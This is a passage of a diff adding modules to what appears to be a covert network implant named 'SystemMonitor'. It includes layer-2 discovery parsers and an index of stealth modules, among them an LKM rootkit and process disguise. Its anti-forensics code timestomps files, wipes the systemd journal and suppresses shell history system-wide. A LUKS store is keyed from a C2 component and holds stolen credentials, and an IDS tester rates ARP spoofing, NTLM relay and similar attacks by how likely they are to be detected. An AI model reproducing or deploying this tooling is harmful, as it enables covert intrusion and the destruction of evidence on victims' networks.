# CDP: OUI 0x00000C, protocol 0x2000
if oui == b'\x00\x00\x0c' and proto == 0x2000:
self._parse_cdp(pkt[22:], ts)
return
# DTP: OUI 0x00000C, protocol 0x2004
if oui == b'\x00\x00\x0c' and proto == 0x2004:
self._parse_dtp(pkt[22:], ts)
return
def _parse_cdp(self, payload: bytes, ts: float) -> None:
"""Parse CDP TLVs to extract switch name, port, VLAN, platform."""
if len(payload) < 4:
return
self._stats["cdp_frames"] += 1
# CDP header: version(1), TTL(1), checksum(2)
offset = 4
device_id = ""
port_id = ""
platform = ""
native_vlan = 0
while offset + 4 <= len(payload):
tlv_type = struct.unpack("!H", payload[offset:offset + 2])[0]
tlv_len = struct.unpack("!H", payload[offset + 2:offset + 4])[0]
if tlv_len < 4 or offset + tlv_len > len(payload):
break
tlv_data = payload[offset + 4:offset + tlv_len]
if tlv_type == CDP_TLV_DEVICE_ID:
device_id = tlv_data.decode("ascii", errors="replace").strip('\x00')
elif tlv_type == CDP_TLV_PORT_ID:
port_id = tlv_data.decode("ascii", errors="replace").strip('\x00')
elif tlv_type == CDP_TLV_PLATFORM:
platform = tlv_data.decode("ascii", errors="replace").strip('\x00')
elif tlv_type == CDP_TLV_NATIVE_VLAN and len(tlv_data) >= 2:
native_vlan = struct.unpack("!H", tlv_data[:2])[0]
offset += tlv_len
if native_vlan > 0:
self._record_vlan(native_vlan, "cdp", device_id, port_id, ts)
if device_id:
self.bus.emit("VLAN_DETECTED", {
"source": "cdp",
"switch_name": device_id,
"switch_port": port_id,
"platform": platform,
"native_vlan": native_vlan,
}, source_module=self.name)
def _parse_dtp(self, payload: bytes, ts: float) -> None:
"""Parse DTP frames — Cisco VLAN trunk negotiation."""
self._stats["dtp_frames"] += 1
# DTP presence alone is noteworthy (trunk negotiation active)
self.bus.emit("VLAN_DETECTED", {
"source": "dtp",
"detail": "DTP trunk negotiation detected — VLAN hopping may be possible",
}, source_module=self.name)
def _parse_lldp(self, pkt: bytes, ts: float) -> None:
"""Parse LLDP TLVs for system name, port description, management address."""
if len(pkt) < 16:
return
self._stats["lldp_frames"] += 1
# LLDP payload starts after Ethernet header (14 bytes)
offset = 14
system_name = ""
port_desc = ""
mgmt_addr = ""
while offset + 2 <= len(pkt):
tlv_header = struct.unpack("!H", pkt[offset:offset + 2])[0]
tlv_type = (tlv_header >> 9) & 0x7F
tlv_len = tlv_header & 0x01FF
offset += 2
if tlv_type == LLDP_TLV_END or offset + tlv_len > len(pkt):
break
tlv_data = pkt[offset:offset + tlv_len]
if tlv_type == LLDP_TLV_SYSTEM_NAME:
system_name = tlv_data.decode("utf-8", errors="replace")
elif tlv_type == LLDP_TLV_PORT_DESC:
port_desc = tlv_data.decode("utf-8", errors="replace")
elif tlv_type == LLDP_TLV_MGMT_ADDR and tlv_len >= 6:
addr_len = tlv_data[0]
addr_subtype = tlv_data[1]
if addr_subtype == 1 and addr_len >= 5: # IPv4
addr_bytes = tlv_data[2:6]
mgmt_addr = ".".join(str(b) for b in addr_bytes)
offset += tlv_len
if system_name:
self.bus.emit("VLAN_DETECTED", {
"source": "lldp",
"system_name": system_name,
"port_desc": port_desc,
"mgmt_addr": mgmt_addr,
}, source_module=self.name)
def _parse_stp(self, pkt: bytes, ts: float) -> None:
"""Parse STP BPDU to extract root bridge ID and priority."""
# LLC header at 14, STP BPDU starts at 17
if len(pkt) < 38:
return
self._stats["stp_bpdus"] += 1
bpdu = pkt[17:]
if len(bpdu) < 21:
return
# Protocol ID (2), version (1), type (1)
proto_id = struct.unpack("!H", bpdu[0:2])[0]
if proto_id != 0x0000:
return
# Flags (1 byte at offset 4)
# Root bridge ID: 8 bytes at offset 5 (priority 2 bytes + MAC 6 bytes)
if len(bpdu) >= 13:
root_priority = struct.unpack("!H", bpdu[5:7])[0]
root_mac = ":".join(f"{b:02x}" for b in bpdu[7:13])
# Bridge ID: 8 bytes at offset 13
bridge_priority = struct.unpack("!H", bpdu[13:15])[0] if len(bpdu) >= 15 else 0
self.bus.emit("VLAN_DETECTED", {
"source": "stp",
"root_bridge_mac": root_mac,
"root_priority": root_priority,
"bridge_priority": bridge_priority,
}, source_module=self.name)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "vlan_discovery.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _record_vlan(self, vlan_id: int, source: str, switch_name: str,
switch_port: str, ts: float) -> None:
"""Buffer a VLAN record for batch insert."""
with self._buffer_lock:
self._write_buffer.append((vlan_id, "", source, switch_name, switch_port, ts))
def _flush_buffer(self) -> None:
"""Write buffered records to SQLite."""
with self._buffer_lock:
batch = list(self._write_buffer)
self._write_buffer.clear()
if not batch or not self._db_conn:
return
try:
with self._db_conn:
self._db_conn.executemany(
"""INSERT INTO vlans (vlan_id, name, source, switch_name, switch_port, first_seen)
VALUES (?, ?, ?, ?, ?, ?)
ON CONFLICT(vlan_id, source, switch_name, switch_port) DO NOTHING""",
batch,
)
new_count = len(batch)
self._stats["vlans_found"] += new_count
except Exception:
logger.exception("Failed to flush VLAN records")
def _flush_loop(self) -> None:
"""Periodically flush write buffer to disk."""
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Flush loop error")
+29
View File
@@ -0,0 +1,29 @@
"""SystemMonitor stealth modules — OPSEC layer."""
from modules.stealth.mac_manager import MacManager
from modules.stealth.process_disguise import ProcessDisguise
from modules.stealth.log_suppression import LogSuppression
from modules.stealth.encrypted_storage import EncryptedStorage
from modules.stealth.tmpfs_manager import TmpfsManager
from modules.stealth.watchdog import Watchdog
from modules.stealth.anti_forensics import AntiForensics
from modules.stealth.traffic_mimicry import TrafficMimicry
from modules.stealth.ja3_spoofer import JA3Spoofer
from modules.stealth.ids_tester import IDSTester
from modules.stealth.lkm_rootkit import LKMRootkit
from modules.stealth.overlayfs_manager import OverlayfsManager
__all__ = [
"MacManager",
"ProcessDisguise",
"LogSuppression",
"EncryptedStorage",
"TmpfsManager",
"Watchdog",
"AntiForensics",
"TrafficMimicry",
"JA3Spoofer",
"IDSTester",
"LKMRootkit",
"OverlayfsManager",
]
+293
View File
@@ -0,0 +1,293 @@
#!/usr/bin/env python3
"""Anti-forensics module: timestomping, core dump suppression, swap disable,
journal cleaning, history suppression, secure deletion."""
import logging
import os
import subprocess
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.stealth import (
disable_core_dumps,
hide_from_history,
set_sysctl,
timestomp,
timestomp_recursive,
_get_os_install_time,
)
logger = logging.getLogger(__name__)
# SystemMonitor install root (default; overridden by config)
BB_ROOT = "/opt/.cache/bb"
class AntiForensics(BaseModule):
"""Apply anti-forensic hardening: timestomp, swap off, core dumps off,
journal vacuum, history suppression, bettercap tmpfs home."""
name = "anti_forensics"
module_type = "stealth"
priority = -400
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._measures: dict[str, bool] = {
"timestomp": False,
"core_dumps_disabled": False,
"swap_disabled": False,
"journal_cleaned": False,
"history_suppressed": False,
"bettercap_tmpfs_home": False,
}
self._bb_root = config.get("bb_root", BB_ROOT)
self._timestomp_ref = config.get("timestomp_reference", "/etc/os-release")
self._files_stomped = 0
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
logger.info("AntiForensics starting — applying all measures")
self._apply_timestomp()
self._disable_core_dumps()
self._disable_swap()
self._clean_journal()
self._suppress_history()
self._set_bettercap_tmpfs_home()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("AntiForensics active — measures: %s", self._measures)
def stop(self) -> None:
"""Anti-forensic measures persist intentionally — nothing to undo."""
self._running = False
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("AntiForensics stopped (measures remain in effect)")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"measures": dict(self._measures),
"files_stomped": self._files_stomped,
}
def configure(self, config: dict) -> None:
if "bb_root" in config:
self._bb_root = config["bb_root"]
if "timestomp_reference" in config:
self._timestomp_ref = config["timestomp_reference"]
# ------------------------------------------------------------------
# Timestomping
# ------------------------------------------------------------------
def _apply_timestomp(self) -> None:
"""Timestomp all SystemMonitor files to OS install date."""
try:
ref_time = self._get_reference_time()
if os.path.isdir(self._bb_root):
self._files_stomped = timestomp_recursive(
self._bb_root, epoch=ref_time,
)
logger.info("Timestomped %d files under %s", self._files_stomped, self._bb_root)
self._measures["timestomp"] = True
except Exception:
logger.exception("Timestomp failed")
self._measures["timestomp"] = False
def _get_reference_time(self) -> float:
"""Determine OS install timestamp for timestomping."""
# Try explicit reference first
if self._timestomp_ref and os.path.exists(self._timestomp_ref):
try:
return os.stat(self._timestomp_ref).st_mtime
except OSError:
pass
# Fallback via utils helper
return _get_os_install_time()
# ------------------------------------------------------------------
# Core dumps
# ------------------------------------------------------------------
def _disable_core_dumps(self) -> None:
"""Disable core dumps via rlimit, sysctl, and prctl."""
try:
success = disable_core_dumps()
# Also set via ulimit for child processes
try:
import resource
resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
except Exception:
pass
self._measures["core_dumps_disabled"] = success
if success:
logger.info("Core dumps disabled")
else:
logger.warning("Core dump disable partially failed")
except Exception:
logger.exception("Core dump disable failed")
self._measures["core_dumps_disabled"] = False
# ------------------------------------------------------------------
# Swap
# ------------------------------------------------------------------
def _disable_swap(self) -> None:
"""Disable all swap to prevent sensitive data hitting disk."""
try:
result = subprocess.run(
["swapoff", "-a"],
capture_output=True, timeout=30,
)
self._measures["swap_disabled"] = result.returncode == 0
if result.returncode == 0:
logger.info("Swap disabled (swapoff -a)")
else:
logger.warning("swapoff -a returned %d: %s",
result.returncode, result.stderr.decode(errors="replace"))
except FileNotFoundError:
logger.warning("swapoff not found")
self._measures["swap_disabled"] = False
except Exception:
logger.exception("Swap disable failed")
self._measures["swap_disabled"] = False
# ------------------------------------------------------------------
# Journal cleaning
# ------------------------------------------------------------------
def _clean_journal(self) -> None:
"""Vacuum journal entries that might reference SystemMonitor components."""
try:
# Vacuum to 1s to remove old entries we may have generated
result = subprocess.run(
["journalctl", "--vacuum-time=1s"],
capture_output=True, timeout=30,
)
self._measures["journal_cleaned"] = result.returncode == 0
if result.returncode == 0:
logger.info("Journal vacuumed")
except FileNotFoundError:
# No systemd journal on this system
self._measures["journal_cleaned"] = True
except Exception:
logger.exception("Journal vacuum failed")
self._measures["journal_cleaned"] = False
# ------------------------------------------------------------------
# Shell history suppression
# ------------------------------------------------------------------
def _suppress_history(self) -> None:
"""Set HISTFILE=/dev/null for current and future shells."""
try:
success = hide_from_history()
# Also write to /etc/environment for all sessions
try:
env_file = Path("/etc/environment")
if env_file.exists():
content = env_file.read_text()
lines_to_add = []
if "HISTFILE=" not in content:
lines_to_add.append("HISTFILE=/dev/null")
if "HISTSIZE=" not in content:
lines_to_add.append("HISTSIZE=0")
if lines_to_add:
with open(env_file, "a") as f:
for line in lines_to_add:
f.write(f"\n{line}")
except PermissionError:
pass
self._measures["history_suppressed"] = success
if success:
logger.info("Shell history suppressed")
except Exception:
logger.exception("History suppression failed")
self._measures["history_suppressed"] = False
# ------------------------------------------------------------------
# Bettercap tmpfs home
# ------------------------------------------------------------------
def _set_bettercap_tmpfs_home(self) -> None:
"""Point $HOME to a tmpfs path so bettercap writes ~/.bettercap/ to RAM."""
try:
tmpfs_home = "/dev/shm/.bb_home"
os.makedirs(tmpfs_home, mode=0o700, exist_ok=True)
os.environ["HOME"] = tmpfs_home
# Create minimal .bettercap dir so bettercap doesn't complain
bettercap_dir = os.path.join(tmpfs_home, ".bettercap")
os.makedirs(bettercap_dir, mode=0o700, exist_ok=True)
self._measures["bettercap_tmpfs_home"] = True
logger.info("Bettercap HOME set to tmpfs: %s", tmpfs_home)
except Exception:
logger.exception("Bettercap tmpfs HOME setup failed")
self._measures["bettercap_tmpfs_home"] = False
# ------------------------------------------------------------------
# Secure deletion utility
# ------------------------------------------------------------------
@staticmethod
def secure_delete(path: str, passes: int = 3) -> bool:
"""Securely delete a file: 3-pass overwrite (random, zero, random) then unlink.
Falls back to simple unlink if shred is unavailable.
"""
if not os.path.isfile(path):
return False
try:
result = subprocess.run(
["shred", "-n", str(passes), "-z", "-u", path],
capture_output=True, timeout=60,
)
if result.returncode == 0:
return True
except FileNotFoundError:
pass
except Exception:
pass
# Fallback: manual overwrite
try:
size = os.path.getsize(path)
with open(path, "r+b") as f:
# Pass 1: random
f.seek(0)
f.write(os.urandom(size))
f.flush()
os.fsync(f.fileno())
# Pass 2: zeros
f.seek(0)
f.write(b"\x00" * size)
f.flush()
os.fsync(f.fileno())
# Pass 3: random
f.seek(0)
f.write(os.urandom(size))
f.flush()
os.fsync(f.fileno())
os.unlink(path)
return True
except Exception:
# Last resort: just delete
try:
os.unlink(path)
except OSError:
return False
return True
+296
View File
@@ -0,0 +1,296 @@
#!/usr/bin/env python3
"""Encrypted storage module — LUKS container for all persistent data.
Manages a LUKS2 encrypted container for PCAPs, logs, credentials, and
intelligence data. Key derivation attempts a network-derived key first
(HKDF with CPU serial + C2-fetched component), falling back to a config
passphrase if C2 is unreachable.
"""
import json
import logging
import os
import shutil
import subprocess
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.crypto import LUKSContainer, derive_network_key
logger = logging.getLogger(__name__)
# Subdirectories created inside the mounted LUKS container
STORAGE_SUBDIRS = ("pcaps", "logs", "baseline", "intel", "credentials", "config")
class EncryptedStorage(BaseModule):
"""LUKS encrypted storage with network-derived key unlock."""
name = "encrypted_storage"
module_type = "stealth"
priority = -500 # Highest — other modules depend on storage
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._luks: Optional[LUKSContainer] = None
self._mounted = False
self._storage_path: Optional[str] = None
self._container_path: Optional[str] = None
self._passphrase: Optional[bytes] = None
self._using_fallback_key = False
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
self._storage_path = os.path.join(install_path, "storage")
container_rel = self.config.get("security", {}).get(
"luks_container", "storage/encrypted.luks"
)
self._container_path = os.path.join(install_path, container_rel)
# Derive passphrase
self._passphrase = self._derive_passphrase()
# Initialize LUKS container
mapper_name = "bb_storage"
self._luks = LUKSContainer(
container_path=self._container_path,
mount_point=self._storage_path,
mapper_name=mapper_name,
)
# Create container if it doesn't exist
if not os.path.isfile(self._container_path):
logger.info("Creating new LUKS container at %s", self._container_path)
os.makedirs(os.path.dirname(self._container_path), exist_ok=True)
size_mb = self._get_container_size()
if not self._luks.create(size_mb, self._passphrase):
logger.error("Failed to create LUKS container")
self.state.set_module_status(self.name, "error")
return
# Format the filesystem inside the container
if not self._format_filesystem():
logger.error("Failed to format LUKS filesystem")
self.state.set_module_status(self.name, "error")
return
# Open and mount
if not self._luks.is_open:
if not self._luks.open(self._passphrase):
logger.error("Failed to open LUKS container — wrong key?")
self.state.set_module_status(self.name, "error")
return
self._mounted = True
# Create subdirectories
self._create_subdirs()
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=os.getpid())
key_type = "fallback" if self._using_fallback_key else "network-derived"
logger.info(
"EncryptedStorage mounted at %s (key: %s)",
self._storage_path, key_type,
)
def stop(self) -> None:
if not self._running:
return
# Sync filesystem
try:
subprocess.run(["sync"], capture_output=True, timeout=10)
except subprocess.SubprocessError:
pass
# Unmount and close LUKS
if self._luks and self._luks.is_open:
if not self._luks.close():
logger.warning("Failed to cleanly close LUKS container")
self._mounted = False
self._running = False
# Scrub passphrase from memory (best effort)
if self._passphrase:
self._passphrase = b"\x00" * len(self._passphrase)
self._passphrase = None
self.state.set_module_status(self.name, "stopped")
logger.info("EncryptedStorage unmounted and closed")
def status(self) -> dict:
result = {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"mounted": self._mounted,
"using_fallback_key": self._using_fallback_key,
}
if self._mounted and self._storage_path:
try:
stat = os.statvfs(self._storage_path)
total = stat.f_blocks * stat.f_frsize
free = stat.f_bavail * stat.f_frsize
used = total - free
result["container_size_mb"] = total / (1024 * 1024)
result["used_mb"] = used / (1024 * 1024)
result["free_mb"] = free / (1024 * 1024)
except OSError:
pass
return result
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def get_storage_path(self) -> Optional[str]:
"""Return the mount point for the encrypted storage, or None if not mounted."""
return self._storage_path if self._mounted else None
def get_subdir(self, name: str) -> Optional[str]:
"""Return the path to a named subdirectory inside encrypted storage."""
if not self._mounted or not self._storage_path:
return None
path = os.path.join(self._storage_path, name)
return path if os.path.isdir(path) else None
# ------------------------------------------------------------------
# Key derivation
# ------------------------------------------------------------------
def _derive_passphrase(self) -> bytes:
"""Attempt network-derived key first, then fall back to config passphrase."""
# Try network-derived key: HKDF(CPU serial + C2 component)
cpu_serial = self._get_cpu_serial()
c2_component = self._fetch_c2_key_component()
if c2_component:
try:
key = derive_network_key(
network_secret=c2_component,
device_serial=cpu_serial,
)
self._using_fallback_key = False
logger.debug("Using network-derived LUKS key")
return key
except Exception as exc:
logger.warning("Network key derivation failed: %s", exc)
# Fallback: use a config-based passphrase
self._using_fallback_key = True
logger.info("C2 unreachable — using fallback LUKS key")
# Derive from CPU serial + static salt (still better than plaintext)
fallback_salt = b"bb-fallback-luks-key-v1"
import hashlib
return hashlib.pbkdf2_hmac("sha256", cpu_serial, fallback_salt, 100_000)
def _get_cpu_serial(self) -> bytes:
"""Read CPU serial from /proc/cpuinfo or /sys/firmware/devicetree."""
# Try /proc/cpuinfo Serial field (RPi, OPi)
try:
with open("/proc/cpuinfo", "r") as f:
for line in f:
if line.strip().startswith("Serial"):
serial = line.split(":", 1)[1].strip()
return serial.encode("utf-8")
except (IOError, IndexError):
pass
# Try machine-id as fallback
try:
with open("/etc/machine-id", "r") as f:
return f.read().strip().encode("utf-8")
except IOError:
pass
# Last resort: hostname-based
import socket
return socket.gethostname().encode("utf-8")
def _fetch_c2_key_component(self) -> Optional[bytes]:
"""Attempt to fetch the key component from C2.
Returns None if C2 is unreachable. The actual C2 client
will be provided by the connectivity module.
"""
# TODO: implement actual C2 key fetch via connectivity module
# For now, check if a pre-staged key file exists (deployed with implant)
key_paths = [
"/opt/.cache/bb/config/luks_network_key",
os.path.expanduser("~/.implant/luks_network_key"),
]
for path in key_paths:
try:
if os.path.isfile(path):
with open(path, "rb") as f:
data = f.read(64)
if data:
return data
except (IOError, PermissionError):
pass
return None
# ------------------------------------------------------------------
# Container setup
# ------------------------------------------------------------------
def _get_container_size(self) -> int:
"""Determine LUKS container size in MB based on available disk."""
try:
stat = os.statvfs(os.path.dirname(self._container_path))
free_mb = (stat.f_bavail * stat.f_frsize) / (1024 * 1024)
# Use 70% of free space, max 8GB, min 256MB
size = int(free_mb * 0.7)
return max(256, min(size, 8192))
except OSError:
return 1024 # Default 1GB
def _format_filesystem(self) -> bool:
"""Open the container and format it with ext4."""
try:
# Open LUKS to get the mapper device
if not self._luks.open(self._passphrase):
return False
# Format with ext4 (no journal for SBC — reduce writes)
subprocess.run(
["mkfs.ext4", "-O", "^has_journal", "-q", self._luks.device_path],
check=True, capture_output=True,
)
# Close — will be reopened in start()
self._luks.close()
return True
except subprocess.CalledProcessError as exc:
logger.error("mkfs.ext4 failed: %s", exc)
return False
def _create_subdirs(self) -> None:
"""Create standard subdirectories inside the mounted storage."""
for subdir in STORAGE_SUBDIRS:
path = os.path.join(self._storage_path, subdir)
os.makedirs(path, exist_ok=True)
logger.debug("Storage subdirectories created: %s", ", ".join(STORAGE_SUBDIRS))
+397
View File
@@ -0,0 +1,397 @@
#!/usr/bin/env python3
"""IDS self-testing module: assess detection risk of planned actions against
Snort/Suricata community rules before activation."""
import logging
import os
import re
import time
from dataclasses import dataclass, field
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# Detection risk levels
RISK_LOW = "LOW"
RISK_MEDIUM = "MEDIUM"
RISK_HIGH = "HIGH"
RISK_CRITICAL = "CRITICAL"
# Action-to-risk baseline mapping (before rule checking)
ACTION_RISK_BASELINE = {
# Passive (LOW)
"passive_sniff": RISK_LOW,
"dns_logging": RISK_LOW,
"host_discovery_passive": RISK_LOW,
"credential_sniff": RISK_LOW,
"pcap_capture": RISK_LOW,
# Medium (detectable with tuned IDS)
"arp_spoof": RISK_MEDIUM,
"dhcp_spoof": RISK_MEDIUM,
"dns_spoof": RISK_MEDIUM,
"nbns_spoof": RISK_MEDIUM,
"llmnr_spoof": RISK_MEDIUM,
"mdns_spoof": RISK_MEDIUM,
"evil_twin": RISK_MEDIUM,
"wpad_spoof": RISK_MEDIUM,
"vlan_hop": RISK_MEDIUM,
# High (commonly detected)
"responder": RISK_HIGH,
"ntlm_relay": RISK_HIGH,
"kerberoast": RISK_HIGH,
"smb_relay": RISK_HIGH,
"http_proxy_inject": RISK_HIGH,
"port_scan": RISK_HIGH,
# Critical (almost certainly detected)
"mitmproxy_ssl_intercept": RISK_CRITICAL,
"ssl_strip": RISK_CRITICAL,
"dns_hijack_external": RISK_CRITICAL,
"exploit_delivery": RISK_CRITICAL,
}
# Bettercap caplet action to risk mapping
CAPLET_ACTION_RISK = {
"net.probe": RISK_MEDIUM,
"net.sniff": RISK_LOW,
"arp.spoof": RISK_MEDIUM,
"dns.spoof": RISK_MEDIUM,
"dhcp6.spoof": RISK_MEDIUM,
"http.proxy": RISK_HIGH,
"https.proxy": RISK_CRITICAL,
"tcp.proxy": RISK_HIGH,
"wifi.deauth": RISK_HIGH,
"wifi.ap": RISK_MEDIUM,
"any.proxy": RISK_HIGH,
"hid.inject": RISK_CRITICAL,
}
@dataclass
class RiskAssessment:
"""Result of an IDS risk assessment."""
action: str
risk_level: str
matching_sids: list[str] = field(default_factory=list)
matching_rules: list[str] = field(default_factory=list)
recommendation: str = ""
timestamp: float = field(default_factory=time.time)
def to_dict(self) -> dict:
return {
"action": self.action,
"risk_level": self.risk_level,
"matching_sids": self.matching_sids,
"matching_rules": self.matching_rules,
"recommendation": self.recommendation,
"timestamp": self.timestamp,
}
class IDSTester(BaseModule):
"""On-demand IDS risk assessment: check planned actions against known
Snort/Suricata signatures before module activation."""
name = "ids_tester"
module_type = "stealth"
priority = -100
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._rules_dir = config.get("rules_dir", "data/ids_rules")
self._rules: list[dict] = []
self._last_assessment: Optional[RiskAssessment] = None
self._assessments: list[RiskAssessment] = []
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._load_rules()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("IDSTester ready — %d rules loaded", len(self._rules))
def stop(self) -> None:
self._running = False
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("IDSTester stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"rules_loaded": len(self._rules),
"last_assessment_time": self._last_assessment.timestamp if self._last_assessment else None,
"last_assessment_action": self._last_assessment.action if self._last_assessment else None,
"last_assessment_risk": self._last_assessment.risk_level if self._last_assessment else None,
"total_assessments": len(self._assessments),
}
def configure(self, config: dict) -> None:
if "rules_dir" in config:
self._rules_dir = config["rules_dir"]
self._load_rules()
# ------------------------------------------------------------------
# Public API: risk assessment
# ------------------------------------------------------------------
def assess_risk(self, action: str) -> dict:
"""Assess detection risk for a planned action.
Args:
action: Action identifier (e.g., 'arp_spoof', 'responder', 'mitmproxy_ssl_intercept')
Returns:
dict with risk_level, matching_sids, recommendation
"""
# Start with baseline risk
baseline_risk = ACTION_RISK_BASELINE.get(action, RISK_MEDIUM)
# Check against loaded IDS rules
matching_sids = []
matching_rules = []
keywords = self._action_to_keywords(action)
for rule in self._rules:
rule_text = rule.get("raw", "").lower()
rule_msg = rule.get("msg", "").lower()
for keyword in keywords:
if keyword in rule_text or keyword in rule_msg:
sid = rule.get("sid", "unknown")
matching_sids.append(str(sid))
matching_rules.append(rule.get("msg", "unknown"))
break
# Escalate risk if IDS rules match
final_risk = baseline_risk
if matching_sids:
risk_order = [RISK_LOW, RISK_MEDIUM, RISK_HIGH, RISK_CRITICAL]
current_idx = risk_order.index(baseline_risk)
escalation = min(len(matching_sids), 2) # Max +2 levels
final_risk = risk_order[min(current_idx + escalation, len(risk_order) - 1)]
recommendation = self._generate_recommendation(action, final_risk, len(matching_sids))
assessment = RiskAssessment(
action=action,
risk_level=final_risk,
matching_sids=matching_sids[:20], # Cap at 20
matching_rules=matching_rules[:20],
recommendation=recommendation,
)
self._last_assessment = assessment
self._assessments.append(assessment)
# Keep only last 100 assessments
if len(self._assessments) > 100:
self._assessments = self._assessments[-100:]
logger.info(
"Risk assessment: %s -> %s (%d matching SIDs)",
action, final_risk, len(matching_sids),
)
return assessment.to_dict()
def assess_caplet(self, caplet_content: str) -> list[dict]:
"""Assess detection risk for bettercap caplet actions.
Args:
caplet_content: Raw caplet file content
Returns:
List of risk assessment dicts, one per detected action
"""
results = []
for line in caplet_content.splitlines():
line = line.strip()
if not line or line.startswith("#"):
continue
# Check each known caplet action
for action_prefix, risk in CAPLET_ACTION_RISK.items():
if line.startswith(action_prefix) or f" {action_prefix}" in line:
assessment = self.assess_risk(action_prefix.replace(".", "_"))
assessment["caplet_line"] = line
results.append(assessment)
break
return results
def preflight_check(self, module_name: str, actions: list[str]) -> dict:
"""Pre-flight validation: assess all actions a module will perform.
Args:
module_name: Name of the module to be activated
actions: List of action identifiers the module will perform
Returns:
dict with overall_risk, action_risks, go_nogo recommendation
"""
action_risks = []
risk_order = [RISK_LOW, RISK_MEDIUM, RISK_HIGH, RISK_CRITICAL]
max_risk_idx = 0
for action in actions:
result = self.assess_risk(action)
action_risks.append(result)
try:
idx = risk_order.index(result["risk_level"])
max_risk_idx = max(max_risk_idx, idx)
except ValueError:
pass
overall_risk = risk_order[max_risk_idx]
# go/nogo based on overall risk
if overall_risk == RISK_CRITICAL:
go_nogo = "NO-GO"
summary = f"Module '{module_name}' has CRITICAL detection risk — activation NOT recommended"
elif overall_risk == RISK_HIGH:
go_nogo = "CAUTION"
summary = f"Module '{module_name}' has HIGH detection risk — activate only if IDS evasion is confirmed"
elif overall_risk == RISK_MEDIUM:
go_nogo = "GO"
summary = f"Module '{module_name}' has MEDIUM detection risk — proceed with monitoring"
else:
go_nogo = "GO"
summary = f"Module '{module_name}' has LOW detection risk — safe to activate"
return {
"module": module_name,
"overall_risk": overall_risk,
"go_nogo": go_nogo,
"summary": summary,
"action_risks": action_risks,
}
# ------------------------------------------------------------------
# Internal: rule loading
# ------------------------------------------------------------------
def _load_rules(self) -> None:
"""Load Snort/Suricata rules from the rules directory."""
self._rules = []
rules_path = Path(self._rules_dir)
if not rules_path.is_dir():
logger.info("IDS rules directory not found: %s", self._rules_dir)
return
rule_files = list(rules_path.glob("*.rules"))
if not rule_files:
logger.info("No .rules files in %s", self._rules_dir)
return
for rule_file in rule_files:
try:
with open(rule_file, "r", errors="replace") as f:
for line in f:
line = line.strip()
if not line or line.startswith("#"):
continue
parsed = self._parse_rule(line)
if parsed:
self._rules.append(parsed)
except Exception:
logger.exception("Failed to parse rules file: %s", rule_file)
logger.info("Loaded %d IDS rules from %d files", len(self._rules), len(rule_files))
@staticmethod
def _parse_rule(line: str) -> Optional[dict]:
"""Parse a single Snort/Suricata rule line into a dict."""
# Extract SID
sid_match = re.search(r"sid:\s*(\d+)", line)
sid = sid_match.group(1) if sid_match else None
# Extract message
msg_match = re.search(r'msg:\s*"([^"]*)"', line)
msg = msg_match.group(1) if msg_match else ""
# Extract classtype
class_match = re.search(r"classtype:\s*([^;]+)", line)
classtype = class_match.group(1).strip() if class_match else ""
if not sid:
return None
return {
"sid": sid,
"msg": msg,
"classtype": classtype,
"raw": line,
}
# ------------------------------------------------------------------
# Internal: keyword mapping
# ------------------------------------------------------------------
@staticmethod
def _action_to_keywords(action: str) -> list[str]:
"""Map action identifiers to IDS rule keywords for matching."""
keyword_map = {
"arp_spoof": ["arp", "spoof", "poison", "gratuitous arp", "arp-scan"],
"dns_spoof": ["dns", "spoof", "dns poison", "dns hijack"],
"dhcp_spoof": ["dhcp", "rogue dhcp", "dhcp spoof"],
"responder": ["responder", "llmnr", "nbns", "nbt-ns", "mdns", "wpad", "netbios"],
"ntlm_relay": ["ntlm", "relay", "smb relay", "ntlmrelay"],
"smb_relay": ["smb", "relay", "smb relay"],
"kerberoast": ["kerberos", "kerberoast", "tgs-rep", "spn"],
"mitmproxy_ssl_intercept": ["mitm", "ssl intercept", "tls intercept", "ssl strip"],
"ssl_strip": ["ssl strip", "sslstrip", "hsts bypass"],
"port_scan": ["port scan", "nmap", "syn scan", "tcp scan"],
